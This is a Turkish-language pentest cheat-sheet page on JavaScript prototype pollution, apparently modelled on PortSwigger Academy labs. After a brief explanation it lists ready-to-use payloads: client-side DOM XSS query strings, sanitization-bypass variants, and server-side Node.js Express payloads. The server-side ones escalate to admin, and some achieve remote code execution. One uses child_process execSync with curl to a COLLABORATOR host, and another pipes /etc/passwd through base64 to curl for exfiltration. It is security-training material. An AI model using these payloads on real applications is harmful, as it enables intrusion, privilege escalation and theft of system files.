🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • Prototype Pollution Nedir?
  • Saldırı Yöntemleri
  • Client-side Prototype Pollution
  • Client-side Prototype Pollution ile Dom XSS
  • Altarnatif Prototype Pollution Yöntemi
  • Hatalı Sanitization
  • Server-side Prototype Pollution (Node.js Express Framework)
  • Server-side Prototype Pollution Hata Mesajlarına (Node.js Express Framework)
  • Server-side Prototype Pollution Blacklist Bypass (Node.js Express Framework)
  • Server-side Prototype Pollution Space (Node.js Express Framework)
  • Server-side Prototype Pollution RCE (Node.js Express Framework)
  • Araçlar
  • Dom Invader
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

Prototype pollution

PreviousInformation DisclosureNextJWT

Last updated 1 year ago

Was this helpful?

Prototype Pollution Nedir?

Prototip pollution güvenlik açıkları genellikle bir JavaScript fonksiyonu, kullanıcı tarafından kontrol edilebilen özellikler içeren bir nesneyi, önce anahtarları kontrol etmeden mevcut bir nesneyle recursive olarak birleştirdiğinde ortaya çıkar. Bu, bir saldırganın proto gibi bir anahtara sahip bir özelliği isteğe bağlı iç içe geçmiş özelliklerle birlikte enjekte etmesine olanak tanıyabilir.

JavaScript bağlamında proto'nun özel anlamı nedeniyle, merge işlemi iç içe geçmiş özellikleri hedef nesnenin kendisi yerine nesnenin prototipine atayabilir. Sonuç olarak, saldırgan prototipi zararlı değerler içeren özelliklerle doldurabilir ve bu özellikler daha sonra uygulama tarafından tehlikeli bir şekilde kullanılabilir.

Herhangi bir prototip nesnesini kirletmek mümkündür, ancak bu en yaygın olarak yerleşik global Object.prototype ile gerçekleşir.

Saldırı Yöntemleri

Client-side Prototype Pollution

/?__proto__[value]=foo
/?__proto__[value]=data:,alert(1);

Client-side Prototype Pollution ile Dom XSS

/?__proto__[transport_url]=foo
/?__proto__[transport_url]=data:,alert(1);

Altarnatif Prototype Pollution Yöntemi

Aşağıdaki yöntemleri ile aynı işlemi yapabiliriz.

/?__proto__[value]=foo
/?__proto__.foo=bar
/?constructor.prototype.foo=bar
/?__proto__.foo=bar
/?__proto__.sequence=alert(1)
/?__proto__.sequence=alert(1)-

Hatalı Sanitization

Eğer __proto__, prototype, constructor kelimeleri silinerek önlenmeye çalışıyorsa aşağıdaki payloadlar kullanılabilir.

/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar

/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
/?__pro__proto__to__[transport_url]=foo
/?__pro__proto__to__[transport_url]=data:,alert(1);

Server-side Prototype Pollution (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
    "isAdmin":true
    }
}

Server-side Prototype Pollution Hata Mesajlarına (Node.js Express Framework)

Eğer inject ettiğimiz değer yansımıyor ise json parse hatası verdirip hata mesajına bakabiliriz. Hata mesajındaki değerlere injection yapabiliyor olabiliriz.

POST /my-account/change
{
    "username":"wiener",
    aaaaaaaaa
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
    "status":555
    }
}

Server-side Prototype Pollution Blacklist Bypass (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "constructor": {
        "prototype": {
            "isAdmin":true
        }
    }
}

Server-side Prototype Pollution Space (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "json spaces":10
    }
}

Server-side Prototype Pollution RCE (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "execArgv":[
            "--eval=require('child_process').execSync('curl https://COLLABORATOR')"
        ]
    }
}
POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "shell":"vim",
        "input":":! curl https://COLLABORATOR\n"
    }
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "shell":"vim",
        "input":":! cat /etc/passwd | base64 | curl -d @- https://COLLABORATOR\n"
    }
}

Araçlar

Dom Invader

Kaynaklar

Portswigger Academy:

🕸️
https://portswigger.net/web-security/prototype-pollution